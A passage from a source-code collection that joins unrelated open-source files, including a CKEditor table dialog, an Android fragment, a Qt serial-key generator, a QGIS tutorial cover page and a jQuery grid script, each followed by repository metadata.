// 1 byte : Type (0=Frame, 1=Header);
// 7 bytes : Reserved
int8u Header[32];
int64u2BigEndian(Header+ 0, FrameInfo.PTS);
int64u2BigEndian(Header+ 8, FrameInfo.DTS);
int64u2BigEndian(Header+16, Duplicate_Buffer_Size);
Header[24]=0;
int56u2BigEndian(Header+25, 0);
Writer.Write(Header, 32);
Writer.Write(Duplicate_Buffer, Duplicate_Buffer_Size);
Duplicate_Buffer_Size=0;
}
//NALU
int32u2BigEndian(Duplicate_Buffer+Duplicate_Buffer_Size, (int32u)ToAdd_Size); //4 bytes for NALU header
Duplicate_Buffer_Size+=4;
//Frame (partial)
std::memcpy(Duplicate_Buffer+Duplicate_Buffer_Size, ToAdd, ToAdd_Size);
Duplicate_Buffer_Size+=ToAdd_Size;
frame_num_Old=frame_num;
}
}
#endif //MEDIAINFO_DUPLICATE
//***************************************************************************
// Output_Buffer
//***************************************************************************
//---------------------------------------------------------------------------
#if MEDIAINFO_DUPLICATE
size_t File_Avc::Output_Buffer_Get (const String &)
{
return Writer.Output_Buffer_Get();
}
#endif //MEDIAINFO_DUPLICATE
//---------------------------------------------------------------------------
#if MEDIAINFO_DUPLICATE
size_t File_Avc::Output_Buffer_Get (size_t)
{
return Writer.Output_Buffer_Get();
}
#endif //MEDIAINFO_DUPLICATE
} //NameSpace
#endif //MEDIAINFO_AVC_YES
| MikeSouza/mpc-hc | src/thirdparty/MediaInfo/MediaInfo/Video/File_Avc_Duplicate.cpp | C++ | gpl-3.0 | 9,917 |
/*
Copyright (c) 2003-2021, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or https://ckeditor.com/legal/ckeditor-oss-license
*/
(function(){function w(a){for(var f=0,p=0,n=0,q,d=a.$.rows.length;n<d;n++){q=a.$.rows[n];for(var e=f=0,b,c=q.cells.length;e<c;e++)b=q.cells[e],f+=b.colSpan;f>p&&(p=f)}return p}function t(a){return function(){var f=this.getValue(),f=!!(CKEDITOR.dialog.validate.integer().call(this,f)&&0<f);f||(alert(a),this.select());return f}}function r(a,f){var p=function(d){return new CKEDITOR.dom.element(d,a.document)},r=a.editable(),q=a.plugins.dialogadvtab;return{title:a.lang.table.title,minWidth:310,minHeight:CKEDITOR.env.ie?
310:280,getModel:function(d){return"tableProperties"!==this.dialog.getName()?null:(d=(d=d.getSelection())&&d.getRanges()[0])?d._getTableElement({table:1}):null},onLoad:function(){var d=this,a=d.getContentElement("advanced","advStyles");if(a)a.on("change",function(){var a=this.getStyle("width",""),c=d.getContentElement("info","txtWidth");c&&c.setValue(a,!0);a=this.getStyle("height","");(c=d.getContentElement("info","txtHeight"))&&c.setValue(a,!0)})},onShow:function(){var d=a.getSelection(),e=d.getRanges(),
b,c=this.getContentElement("info","txtRows"),h=this.getContentElement("info","txtCols"),u=this.getContentElement("info","txtWidth"),l=this.getContentElement("info","txtHeight");"tableProperties"==f&&((d=d.getSelectedElement())&&d.is("table")?b=d:0<e.length&&(CKEDITOR.env.webkit&&e[0].shrink(CKEDITOR.NODE_ELEMENT),b=a.elementPath(e[0].getCommonAncestor(!0)).contains("table",1)),this._.selectedElement=b);b?(this.setupContent(b),c&&c.disable(),h&&h.disable()):(c&&c.enable(),h&&h.enable());u&&u.onChange();
l&&l.onChange()},onOk:function(){var d=a.getSelection(),e=this._.selectedElement&&d.createBookmarks(),b=this._.selectedElement||p("table"),c={};this.commitContent(c,b);if(c.info){c=c.info;if(!this._.selectedElement)for(var h=b.append(p("tbody")),f=parseInt(c.txtRows,10)||0,l=parseInt(c.txtCols,10)||0,k=0;k<f;k++)for(var g=h.append(p("tr")),m=0;m<l;m++)g.append(p("td")).appendBogus();f=c.selHeaders;if(!b.$.tHead&&("row"==f||"both"==f)){g=b.getElementsByTag("thead").getItem(0);h=b.getElementsByTag("tbody").getItem(0);
l=h.getElementsByTag("tr").getItem(0);g||(g=new CKEDITOR.dom.element("thead"),g.insertBefore(h));for(k=0;k<l.getChildCount();k++)h=l.getChild(k),h.type!=CKEDITOR.NODE_ELEMENT||h.data("cke-bookmark")||(h.renameNode("th"),h.setAttribute("scope","col"));g.append(l.remove())}if(null!==b.$.tHead&&"row"!=f&&"both"!=f){g=new CKEDITOR.dom.element(b.$.tHead);for(h=b.getElementsByTag("tbody").getItem(0);0<g.getChildCount();){l=g.getFirst();for(k=0;k<l.getChildCount();k++)m=l.getChild(k),m.type==CKEDITOR.NODE_ELEMENT&&
(m.renameNode("td"),m.removeAttribute("scope"));h.append(l,!0)}g.remove()}if(!this.hasColumnHeaders&&("col"==f||"both"==f))for(g=0;g<b.$.rows.length;g++)m=new CKEDITOR.dom.element(b.$.rows[g].cells[0]),m.renameNode("th"),m.setAttribute("scope","row");if(this.hasColumnHeaders&&"col"!=f&&"both"!=f)for(k=0;k<b.$.rows.length;k++)g=new CKEDITOR.dom.element(b.$.rows[k]),"tbody"==g.getParent().getName()&&(m=new CKEDITOR.dom.element(g.$.cells[0]),m.renameNode("td"),m.removeAttribute("scope"));c.txtHeight?
b.setStyle("height",c.txtHeight):b.removeStyle("height");c.txtWidth?b.setStyle("width",c.txtWidth):b.removeStyle("width");b.getAttribute("style")||b.removeAttribute("style")}if(this._.selectedElement)try{d.selectBookmarks(e)}catch(n){}else a.insertElement(b),setTimeout(function(){var d=new CKEDITOR.dom.element(b.$.rows[0].cells[0]),c=a.createRange();c.moveToPosition(d,CKEDITOR.POSITION_AFTER_START);c.select()},0)},contents:[{id:"info",label:a.lang.table.title,elements:[{type:"hbox",widths:[null,null],
styles:["vertical-align:top"],children:[{type:"vbox",padding:0,children:[{type:"text",id:"txtRows","default":3,label:a.lang.table.rows,required:!0,controlStyle:"width:5em",validate:t(a.lang.table.invalidRows),setup:function(d){this.setValue(d.$.rows.length)},commit:n},{type:"text",id:"txtCols","default":2,label:a.lang.table.columns,required:!0,controlStyle:"width:5em",validate:t(a.lang.table.invalidCols),setup:function(d){this.setValue(w(d))},commit:n},{type:"html",html:"\x26nbsp;"},{type:"select",
id:"selHeaders",requiredContent:"th","default":"",label:a.lang.table.headers,items:[[a.lang.table.headersNone,""],[a.lang.table.headersRow,"row"],[a.lang.table.headersColumn,"col"],[a.lang.table.headersBoth,"both"]],setup:function(d){var a=this.getDialog();a.hasColumnHeaders=!0;for(var b=0;b<d.$.rows.length;b++){var c=d.$.rows[b].cells[0];if(c&&"th"!=c.nodeName.toLowerCase()){a.hasColumnHeaders=!1;break}}null!==d.$.tHead?this.setValue(a.hasColumnHeaders?"both":"row"):this.setValue(a.hasColumnHeaders?
"col":"")},commit:n},{type:"text",id:"txtBorder",requiredContent:"table[border]","default":a.filter.check("table[border]")?1:0,label:a.lang.table.border,controlStyle:"width:3em",validate:CKEDITOR.dialog.validate.number(a.lang.table.invalidBorder),setup:function(d){this.setValue(d.getAttribute("border")||"")},commit:function(d,a){this.getValue()?a.setAttribute("border",this.getValue()):a.removeAttribute("border")}},{id:"cmbAlign",type:"select",requiredContent:"table[align]","default":"",label:a.lang.common.align,
items:[[a.lang.common.notSet,""],[a.lang.common.left,"left"],[a.lang.common.center,"center"],[a.lang.common.right,"right"]],setup:function(a){this.setValue(a.getAttribute("align")||"")},commit:function(a,e){this.getValue()?e.setAttribute("align",this.getValue()):e.removeAttribute("align")}}]},{type:"vbox",padding:0,children:[{type:"hbox",widths:["5em"],children:[{type:"text",id:"txtWidth",requiredContent:"table{width}",controlStyle:"width:5em",label:a.lang.common.width,title:a.lang.common.cssLengthTooltip,
"default":a.filter.check("table{width}")?500>r.getSize("width")?"100%":500:0,getValue:v,validate:CKEDITOR.dialog.validate.cssLength(a.lang.common.invalidCssLength.replace("%1",a.lang.common.width)),onChange:function(){var a=this.getDialog().getContentElement("advanced","advStyles");a&&a.updateStyle("width",this.getValue())},setup:function(a){a=a.getStyle("width");this.setValue(a)},commit:n}]},{type:"hbox",widths:["5em"],children:[{type:"text",id:"txtHeight",requiredContent:"table{height}",controlStyle:"width:5em",
label:a.lang.common.height,title:a.lang.common.cssLengthTooltip,"default":"",getValue:v,validate:CKEDITOR.dialog.validate.cssLength(a.lang.common.invalidCssLength.replace("%1",a.lang.common.height)),onChange:function(){var a=this.getDialog().getContentElement("advanced","advStyles");a&&a.updateStyle("height",this.getValue())},setup:function(a){(a=a.getStyle("height"))&&this.setValue(a)},commit:n}]},{type:"html",html:"\x26nbsp;"},{type:"text",id:"txtCellSpace",requiredContent:"table[cellspacing]",
controlStyle:"width:3em",label:a.lang.table.cellSpace,"default":a.filter.check("table[cellspacing]")?1:0,validate:CKEDITOR.dialog.validate.number(a.lang.table.invalidCellSpacing),setup:function(a){this.setValue(a.getAttribute("cellSpacing")||"")},commit:function(a,e){this.getValue()?e.setAttribute("cellSpacing",this.getValue()):e.removeAttribute("cellSpacing")}},{type:"text",id:"txtCellPad",requiredContent:"table[cellpadding]",controlStyle:"width:3em",label:a.lang.table.cellPad,"default":a.filter.check("table[cellpadding]")?
1:0,validate:CKEDITOR.dialog.validate.number(a.lang.table.invalidCellPadding),setup:function(a){this.setValue(a.getAttribute("cellPadding")||"")},commit:function(a,e){this.getValue()?e.setAttribute("cellPadding",this.getValue()):e.removeAttribute("cellPadding")}}]}]},{type:"html",align:"right",html:""},{type:"vbox",padding:0,children:[{type:"text",id:"txtCaption",requiredContent:"caption",label:a.lang.table.caption,setup:function(a){this.enable();a=a.getElementsByTag("caption");if(0<a.count()){a=
a.getItem(0);var e=a.getFirst(CKEDITOR.dom.walker.nodeType(CKEDITOR.NODE_ELEMENT));e&&!e.equals(a.getBogus())?(this.disable(),this.setValue(a.getText())):(a=CKEDITOR.tools.trim(a.getText()),this.setValue(a))}},commit:function(d,e){if(this.isEnabled()){var b=this.getValue(),c=e.getElementsByTag("caption");if(b)0<c.count()?(c=c.getItem(0),c.setHtml("")):(c=new CKEDITOR.dom.element("caption",a.document),e.append(c,!0)),c.append(new CKEDITOR.dom.text(b,a.document));else if(0<c.count())for(b=c.count()-
1;0<=b;b--)c.getItem(b).remove()}}},{type:"text",id:"txtSummary",bidi:!0,requiredContent:"table[summary]",label:a.lang.table.summary,setup:function(a){this.setValue(a.getAttribute("summary")||"")},commit:function(a,e){this.getValue()?e.setAttribute("summary",this.getValue()):e.removeAttribute("summary")}}]}]},q&&q.createAdvancedTab(a,null,"table")]}}var v=CKEDITOR.tools.cssLength,n=function(a){var f=this.id;a.info||(a.info={});a.info[f]=this.getValue()};CKEDITOR.dialog.add("table",function(a){return r(a,
"table")});CKEDITOR.dialog.add("tableProperties",function(a){return r(a,"tableProperties")})})(); | omeka/omeka-s | application/asset/vendor/ckeditor/plugins/table/dialogs/table.js | JavaScript | gpl-3.0 | 8,955 |
package com.wisecityllc.cookedapp.fragments;
import android.app.Activity;
import android.support.v4.app.Fragment;
import android.net.Uri;
import android.os.Bundle;
import android.view.LayoutInflater;
import android.view.View;
import android.view.ViewGroup;
import android.widget.ListView;
import android.widget.ProgressBar;
import android.widget.TextView;
import com.parse.ParseQueryAdapter;
import com.segment.analytics.Analytics;
import com.wisecityllc.cookedapp.R;
import com.wisecityllc.cookedapp.adapters.AlertWallAdapter;
import com.wisecityllc.cookedapp.parseClasses.Message;
import java.util.List;
/**
* A simple {@link Fragment} subclass.
* Activities that contain this fragment must implement the
* {@link AlertsFragment.OnFragmentInteractionListener} interface
* to handle interaction events.
* Use the {@link AlertsFragment#newInstance} factory method to
* create an instance of this fragment.
*/
public class AlertsFragment extends Fragment {
public static final String ALERTS_SCREEN = "AlertsScreen";
private boolean mHasMadeInitialLoad = false;
private AlertWallAdapter mAlertsAdapter;
private ListView mAlertsListView;
private TextView mNoAlertsTextView;
private ProgressBar mLoadingIndicator;
public static AlertsFragment newInstance() {
AlertsFragment fragment = new AlertsFragment();
return fragment;
}
public AlertsFragment() {
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
}
@Override
public View onCreateView(LayoutInflater inflater, ViewGroup container,
Bundle savedInstanceState) {
// Inflate the layout for this fragment
return inflater.inflate(R.layout.fragment_alerts, container, false);
}
@Override
public void onViewCreated(View view, Bundle savedInstanceState) {
super.onViewCreated(view, savedInstanceState);
mLoadingIndicator = (ProgressBar) view.findViewById(R.id.alerts_fragment_loading_indicator);
mAlertsAdapter = new AlertWallAdapter(this.getActivity());
mAlertsAdapter.addOnQueryLoadListener(new ParseQueryAdapter.OnQueryLoadListener<Message>() {
@Override
public void onLoading() {
mAlertsListView.setVisibility(View.GONE);
mLoadingIndicator.setVisibility(View.VISIBLE);
mNoAlertsTextView.setVisibility(View.GONE);
}
@Override
public void onLoaded(List<Message> list, Exception e) {
mLoadingIndicator.setVisibility(View.GONE);
mNoAlertsTextView.setVisibility(e != null || list == null || list.isEmpty() ? View.VISIBLE : View.GONE);
mAlertsListView.setVisibility(View.VISIBLE);
}
});
if(mAlertsListView == null){
mAlertsListView = (ListView)view.findViewById(R.id.alerts_list_view);
}
mNoAlertsTextView = (TextView) view.findViewById(R.id.alerts_fragment_no_messages_text_view);
// mAlertsListView.setOnItemClickListener(this);
}
@Override
public void onAttach(Activity activity) {
super.onAttach(activity);
try {
} catch (ClassCastException e) {
throw new ClassCastException(activity.toString()
+ " must implement OnFragmentInteractionListener");
}
}
@Override
public void onDetach() {
super.onDetach();
}
/**
* This interface must be implemented by activities that contain this
* fragment to allow an interaction in this fragment to be communicated
* to the activity and potentially other fragments contained in that
* activity.
* <p/>
* See the Android Training lesson <a href=
* "http://developer.android.com/training/basics/fragments/communicating.html"
* >Communicating with Other Fragments</a> for more information.
*/
public interface OnFragmentInteractionListener {
// TODO: Update argument type and name
public void onFragmentInteraction(Uri uri);
}
@Override
public void setUserVisibleHint(boolean isVisibleToUser) {
super.setUserVisibleHint(isVisibleToUser);
if(isVisibleToUser) {
// Has become visible
Analytics.with(getActivity()).screen(null, ALERTS_SCREEN);
// Delay our loading until we become visible
if(mHasMadeInitialLoad == false && mAlertsAdapter != null) {
mAlertsListView.setAdapter(mAlertsAdapter);
mHasMadeInitialLoad = true;
}
}
}
}
| dexterlohnes/cooked-android | app/src/main/java/com/wisecityllc/cookedapp/fragments/AlertsFragment.java | Java | gpl-3.0 | 4,689 |
<!doctype html>
<html lang="fr">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<title>Tutoriel QGIS Passages</title>
<meta name="description" content="Tutoriel QGIS">
<meta name="author" content="Pierson Julie" >
<link href='http://fonts.googleapis.com/css?family=Open+Sans:400,400italic,600,600italic,700,700italic&subset=latin,latin-ext' rel='stylesheet' type='text/css'>
<link rel="stylesheet" type="text/css" href="tutoqgis_print.css" media="screen">
</head>
<body>
<div id="wrap">
<div style="margin-left: 1.5cm; margin-right: 1.5cm">
<center>
<a href="http://www.letg.cnrs.fr/" >
<img style="margin-bottom: 12.5cm;" class="logo" src="illustrations/tous/logo_letg.png" alt="logo letg" width="10%">
</a>
<a href="http://www.passages.cnrs.fr/" >
<img style="margin-bottom: 12.5cm;" class="logo" src="illustrations/tous/logo_passages.png" alt="logo passages" width="22%">
</a>
<p style="font-size:1.9em;color:#28A6B7;text-align:center;margin:0;padding:0;font-variant: small-caps;">Tutoriel QGIS : IV. Géoréférencement</p>
<hr class="cover">
<p style="font-size:1.4em;margin:0;padding:0;font-variant: small-caps;">Export PDF de mai 2021</p>
<a target="_blank" href="http://www.qgis.org/" >
<img style="margin-bottom: 9cm;" class="logo" src="illustrations/tous/qgis-icon128.png" alt="logo QGIS" width="13%">
</a>
<p style="font-size:1.1em;">Ceci est un export PDF du tutoriel QGIS 3.16 'Hannover' disponible ici : <a href="https://ouvrir.passages.cnrs.fr/tutoqgis/" >https://ouvrir.passages.cnrs.fr/tutoqgis/</a></p>
<p>Plus d'informations sur cette page : <a href="https://ouvrir.passages.cnrs.fr/tutoqgis/en_savoir_plus.php" >https://ouvrir.passages.cnrs.fr/tutoqgis/en_savoir_plus.php</a>.</p>
<p><em>Ce tutoriel est sous licence Creative Commons : vous êtes autorisé à le partager et l'adapter, pour toute utilisation y compris commerciale, à condition de citer l'auteur : Julie Pierson, UMR 6554 LETG, <a href="http://www.letg.cnrs.fr">www.letg.cnrs.fr</a>, et de partager votre travail sous les mêmes conditions. Le texte complet de la licence est disponible ici : <a href="https://creativecommons.org/licenses/by-sa/4.0/deed.fr">https://creativecommons.org/licenses/by-sa/4.0/deed.fr</a></em></p>
</center>
</div>
</div>
</body>
</html>
| UMR-PASSAGES/tutoqgis | pdf_cover_4.html | HTML | gpl-3.0 | 2,733 |
/*
* Copyright (C) 2014 - Center of Excellence in Information Assurance
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#include "keysgeneratorwidget.h"
#include "ui_keysgeneratorwidget.h"
#include "../Global/keygenerator.h"
#include "../Global/keyvalidator.h"
#include <QMessageBox>
KeysGeneratorWidget::KeysGeneratorWidget(QWidget *parent) :
QWidget(parent), ui(new Ui::KeysGeneratorWidget)
{
ui->setupUi(this);
model = new QSqlTableModel;
model->setTable("GeneratedTable");
model->select();
ui->tableView->setModel(model);
ui->tableView->setAlternatingRowColors(true);
ui->tableView->setSelectionMode(QAbstractItemView::SingleSelection);
ui->tableView->setSelectionBehavior(QAbstractItemView::SelectRows);
ui->tableView->resizeColumnToContents(1);
ui->tableView->resizeColumnToContents(0);
ui->tableView->setEditTriggers(QAbstractItemView::NoEditTriggers);
}
KeysGeneratorWidget::~KeysGeneratorWidget()
{
delete ui;
}
void KeysGeneratorWidget:: on_generateButton_clicked() {
QString time = getTime();
QString id = getNextId();
QString constantNumber = "853023";
QString key = KeyGenerator::generateKey(time, id, constantNumber);
if ( !key.endsWith("+") && KeyValidator::validate(key) ) {
ui->serialLineEdit->setText(key);
}
}
void KeysGeneratorWidget::on_generate1000KeysButton_clicked() {
int count = 0;
for (int i=0; i<100 ; i++ ){
QString time = getTime();
QString id = getNextId();
QString constantNumber = "853023";
QString key = KeyGenerator::generateKey(time, id, constantNumber);
if ( KeyValidator::validate(key) ) {
ui->serialLineEdit->setText(key);
if ( ! existKey (key) && ! key.endsWith("+") ) {
QSqlQuery query;
QString time = QDate::currentDate().toString();
if ( query.exec("insert into GeneratedTable(serial, generateTime) values('" + key + "' , '" + time +"')") ) {
qDebug() << "key: " << key;
count++;
}
}
}
}
qDebug() << "Number of Key Saved: " << count;
}
void KeysGeneratorWidget::on_saveKeyButton_clicked() {
QString key = ui->serialLineEdit->text();
if ( KeyValidator::validate(key) ) {
if ( ! existKey (key) && ! key.endsWith("+") ) {
QSqlQuery query;
QString time = QDate::currentDate().toString();
if ( query.exec("insert into GeneratedTable(serial, generateTime) values('" + key + "' , '" + time +"')") )
QMessageBox::information(this,"inserting Ok","inserting Ok");
else
QMessageBox::warning(this,"cannot inserting key","cannot inserting key");
}
else {
QMessageBox::warning(this,"Key existing in DB","Key existing in DB");
}
}
else {
QMessageBox::warning(this,"is not valid key", key + " is not valid key");
}
model->select();
}
void KeysGeneratorWidget::on_removeKeyButton_clicked() {
int no = model->index(ui->tableView->currentIndex().row(),0).data().toInt();
QSqlQuery query;
query.prepare("DELETE FROM GeneratedTable WHERE id = ?");
query.addBindValue(no);
query.exec();
model->select();
}
bool KeysGeneratorWidget:: existKey (QString key) {
QSqlQuery query;
query.prepare("SELECT * FROM GeneratedTable WHERE serial = ?");
query.addBindValue(key);
query.exec();
while (query.next()) {
return true;
}
return false;
}
QString KeysGeneratorWidget:: getTime () {
QTime time = QTime::currentTime();
QString result = QString::number(time.msec());
return result;
}
QString KeysGeneratorWidget:: getNextId () {
QString id = getRandomChars(5);
return id;
}
QString KeysGeneratorWidget:: getRandomChars (int length) {
int difference = 'Z'-'A';
QString result = "";
for (int i=0; i<length; i++) {
char c = 'A' + ( rand() % difference );
result += c ;
}
return result;
}
| CoEIA/hajeb | CoEIAKeysGenerator/keysgeneratorwidget.cpp | C++ | gpl-3.0 | 4,671 |
/***************************************************************************
* matrix_statistics.h:
*
* TODO: add doc
*
* Written by Anthony Lomax
* ALomax Scientific www.alomax.net
*
* modified: 2010.12.16
***************************************************************************/
#define CONFIDENCE_LEVEL 68.0 // 68% confidence level used throughout
// 2D ellipse
typedef struct {
double az1, len1; // semi-minor axis km
double len2; // semi-major axis km
} Ellipse2D;
#define DELTA_CHI_SQR_68_2 2.30 // value for 68% conf (see Num Rec, 2nd ed, sec 15.6, table)
// 3D ellipsoid
typedef struct {
double az1, dip1, len1; // semi-minor axis km
double az2, dip2, len2; // semi-intermediate axis km
double len3; // semi-major axis km
double az3, dip3; // 20150601 AJL - semi-major axis az and dip added to support conversion to QuakeML Tait-Bryan representation
} Ellipsoid3D;
#define DELTA_CHI_SQR_68_3 3.53 // value for 68% conf (see Num Rec, 2nd ed, sec 15.6, table)
char *get_matrix_statistics_error_mesage();
Vect3D CalcExpectationSamples(float*, int);
Vect3D CalcExpectationSamplesWeighted(float* fdata, int nSamples);
Vect3D CalcExpectationSamplesGlobal(float* fdata, int nSamples, double xReference);
Vect3D CalcExpectationSamplesGlobalWeighted(float* fdata, int nSamples, double xReference);
Mtrx3D CalcCovarianceSamplesRect(float* fdata, int nSamples, Vect3D* pexpect);
Mtrx3D CalcCovarianceSamplesGlobal(float* fdata, int nSamples, Vect3D* pexpect);
Mtrx3D CalcCovarianceSamplesGlobalWeighted(float* fdata, int nSamples, Vect3D* pexpect);
Ellipsoid3D CalcErrorEllipsoid(Mtrx3D *, double);
Ellipse2D CalcHorizontalErrorEllipse(Mtrx3D *pcov, double del_chi_2);
void ellipsiod2Axes(Ellipsoid3D *, Vect3D *, Vect3D *, Vect3D *);
void nllEllipsiod2XMLConfidenceEllipsoid(Ellipsoid3D *pellipsoid,
double* psemiMajorAxisLength, double* pmajorAxisPlunge, double* pmajorAxisAzimuth,
double* psemiIntermediateAxisLength, double* pintermediateAxisPlunge, double* pintermediateAxisAzimuth,
double* psemiMinorAxisLength);
int nllEllipsiod2QMLConfidenceEllipsoid(Ellipsoid3D *pellipsoid,
double* psemiMajorAxisLength,
double* psemiMinorAxisLength,
double* psemiIntermediateAxisLength,
double* pmajorAxisAzimuth,
double* pmajorAxisPlunge,
double* pmajorAxisRotation);
| alomax/NonLinLoc | www_beta/src/matrix_statistics/matrix_statistics.h | C | gpl-3.0 | 2,399 |
/*
-----------------------------------------------------------------------------------------------
This source file is part of the Particle Universe product.
Copyright (c) 2010 Henry van Merode
Usage of this program is licensed under the terms of the Particle Universe Commercial License.
You can find a copy of the Commercial License in the Particle Universe package.
-----------------------------------------------------------------------------------------------
*/
#ifndef __PU_LOGMANAGER_H__
#define __PU_LOGMANAGER_H__
#include "OgreLogManager.h"
namespace ParticleUniverse
{
// If the Ogre renderer is replaced by another renderer, the type below must be re-implemented.
typedef Ogre::LogManager LogManager;
}
#endif
| gorkinovich/DefendersOfMankind | dependencies/include/ParticleUniverse/ParticleUniverseLogManager.h | C | gpl-3.0 | 730 |
<?php
require "funciones.php";
CopiarArchivo($_REQUEST["txtRuta"]);
?> | 1caruxx/Ejercicios_PHP | C._Archivos_y_formularios/ejercicio_22/admin.php | PHP | gpl-3.0 | 80 |
package org.aslab.om.metacontrol.action;
import java.util.HashSet;
import java.util.Set;
import org.aslab.om.ecl.action.Action;
import org.aslab.om.ecl.action.ActionFeedback;
import org.aslab.om.ecl.action.ActionResult;
import org.aslab.om.metacontrol.value.CompGoalAtomTracker;
/**
* <!-- begin-UML-doc -->
* <!-- end-UML-doc -->
* @author chcorbato
* @generated "UML to Java (com.ibm.xtools.transform.uml2.java5.internal.UML2JavaTransform)"
*/
public class FunctionalAction extends Action {
/**
* <!-- begin-UML-doc -->
* number of ever issued action_list (this way a new number is assigned to everyone upon creation)
* <!-- end-UML-doc -->
* @generated "UML to Java (com.ibm.xtools.transform.uml2.java5.internal.UML2JavaTransform)"
*/
private static short num_of_actions = 0;
@Override
protected short addAction(){
return num_of_actions++;
}
/**
* <!-- begin-UML-doc -->
* <!-- end-UML-doc -->
* @generated "UML to Java (com.ibm.xtools.transform.uml2.java5.internal.UML2JavaTransform)"
*/
public Set<CompGoalAtomTracker> atoms = new HashSet<CompGoalAtomTracker>();
/**
* <!-- begin-UML-doc -->
* <!-- end-UML-doc -->
* @param a
* @generated "UML to Java (com.ibm.xtools.transform.uml2.java5.internal.UML2JavaTransform)"
*/
public FunctionalAction(Set<CompGoalAtomTracker> a) {
// begin-user-code
atoms = a;
// end-user-code
}
@Override
public ActionResult processResult(ActionFeedback feedback) {
// TODO Auto-generated method stub
return null;
}
@Override
public boolean timeOut() {
// TODO Auto-generated method stub
return false;
}
}
| aslab/rct | higgs/branches/ros-fuerte/OM/versions/NamePerception_OM/OMJava/src/org/aslab/om/metacontrol/action/FunctionalAction.java | Java | gpl-3.0 | 1,624 |
$(function() {
$("#childGrid").jqGrid(
{
url : "TBCcnsizePrm.html?getGridData",datatype : "json",mtype : "GET",colNames : [ 'Conn Id',getLocalMessage('water.connsize.frmDt'), getLocalMessage('water.connsize.toDt'), getLocalMessage('water.connsize.frm'),getLocalMessage('water.connsize.to'), getLocalMessage('edit.msg'), getLocalMessage('master.view')],
colModel : [ {name : "cnsId",width : 10,sortable : false,searchoptions: { "sopt": [ "eq"] }},
{name : "cnsFrmdt",width : 20,sortable : true,searchoptions: { "sopt": ["bw", "eq"] },formatter : dateTemplate},
{name : "cnsTodt",width : 20,sortable : true, searchoptions: { "sopt": ["bw", "eq"] },formatter : dateTemplate},
{name : "cnsFrom",width : 20,sortable : false,searchoptions: { "sopt": [ "eq"] }},
{name : "cnsTo",width : 20,sortable : false,searchoptions: { "sopt": [ "eq"] }},
{name : 'cnsId',index : 'cnsId',width : 20,align : 'center',formatter : returnEditUrl,editoptions : {value : "Yes:No"},formatoptions : {disabled : false},search:false },
{name : 'cnsId',index : 'cnsId',width : 20,align : 'center',formatter : returnViewUrl,editoptions : {value : "Yes:No"},formatoptions : {disabled : false},search:false}
],
pager : "#pagered",
rowNum : 30,
rowList : [ 5, 10, 20, 30 ],
sortname : "dsgid",
sortorder : "desc",
height : 'auto',
viewrecords : true,
gridview : true,
loadonce : true,
jsonReader : {
root : "rows",
page : "page",
total : "total",
records : "records",
repeatitems : false,
},
autoencode : true,
caption : getLocalMessage('water.connsize.gridTtl')
});
jQuery("#grid").jqGrid('navGrid','#pagered',{edit:false,add:false,del:false,search:true,refresh:false});
$("#pagered_left").css("width", "");
});
function returnEditUrl(cellValue, options, rowdata, action) {
return "<a href='#' return false; class='editClass' value='"+rowdata.cnsId+"' ><img src='css/images/edit.png' width='20px' alt='Edit Charge Master' title='Edit Scrutiny Data' /></a>";
}
function returnViewUrl(cellValue, options, rowdata, action) {
return "<a href='#' return false; class='viewConnectionClass' value='"+rowdata.cnsId+"'><img src='css/images/grid/view-icon.png' width='20px' alt='View Master' title='View Master' /></a>";
}
function returnisdeletedUrl(cellValue, options, rowdata, action) {
if (rowdata.isdeleted == '0') {
return "<a href='#' class='fa fa-check-circle fa-2x green ' value='"+rowdata.isdeleted+"' alt='Designation is Active' title='Designation is Active'></a>";
} else {
return "<a href='#' class='fa fa-times-circle fa-2x red ' value='"+rowdata.isdeleted+"' alt='Designation is INActive' title='Designation is InActive'></a>";
}
}
$(function() {
$(document)
.on('click','.addConnectionClass',function() {
var $link = $(this);
var cnsId = $link.closest('tr').find('td:eq(0)').text();
var url = "TBCcnsizePrm.html?formForUpdate";
var requestData = "cnsId=" + cnsId + "&MODE1=" + "EDIT";
var returnData =__doAjaxRequest(url,'post',requestData,false);
$('.content').html(returnData);
prepareDateTag();
});
});
$(function() {
$(document).on('click', '.editClass', function() {
var $link = $(this);
var cnsId = $link.closest('tr').find('td:eq(0)').text();
var url = "TBCcnsizePrm.html?formForUpdate";
var requestData = "cnsId=" + cnsId + "&MODE1=" + "EDIT";
var returnData =__doAjaxRequest(url,'post',requestData,false);
$('.content').html(returnData);
prepareDateTag();
});
});
$(function() {
$(document).on('click', '.viewConnectionClass', function() {
var $link = $(this);
var cnsId = $link.closest('tr').find('td:eq(0)').text();
var url = "TBCcnsizePrm.html?formForUpdate";
var requestData = "cnsId=" + cnsId + "&MODE1=" + "VIEW";
var returnData =__doAjaxRequest(url,'post',requestData,false);
$('.content').html(returnData);
prepareDateTag();
});
});
/*ADD Form*/
function saveConnectionSizeDetails(obj){
return saveOrUpdateForm(obj, 'Saved Successfully', 'TBCcnsizePrm.html', 'create');
}
function updateConnectionSizeDetails(obj){
return saveOrUpdateForm(obj, 'Saved Successfully', 'TBCcnsizePrm.html', 'update');
}
function showConfirmBox(){
var errMsgDiv = '.msg-dialog-box';
var message='';
var cls = 'Yes';
message +='<p>Record Saved Successfully..</p>';
message +='<p style=\'text-align:center;margin: 5px;\'>'+
'<br/><input type=\'button\' value=\''+cls+'\' id=\'btnNo\' class=\'css_btn \' '+
' onclick="ShowView()"/>'+
'</p>';
$(errMsgDiv).addClass('ok-msg').removeClass('warn-msg');
$(errMsgDiv).html(message);
$(errMsgDiv).show();
$('#btnNo').focus();
showModalBox(errMsgDiv);
}
function ShowView(){
window.location.href='TBCcnsizePrm.html';
}
$(".datepicker").datepicker({
dateFormat: 'dd/mm/yy',
changeMonth: true,
changeYear: true
});
$(".warning-div ul").each(function () {
var lines = $(this).html().split("<br>");
$(this).html('<li>' + lines.join("</li><li><i class='fa fa-exclamation-circle'></i> ") + '</li>');
});
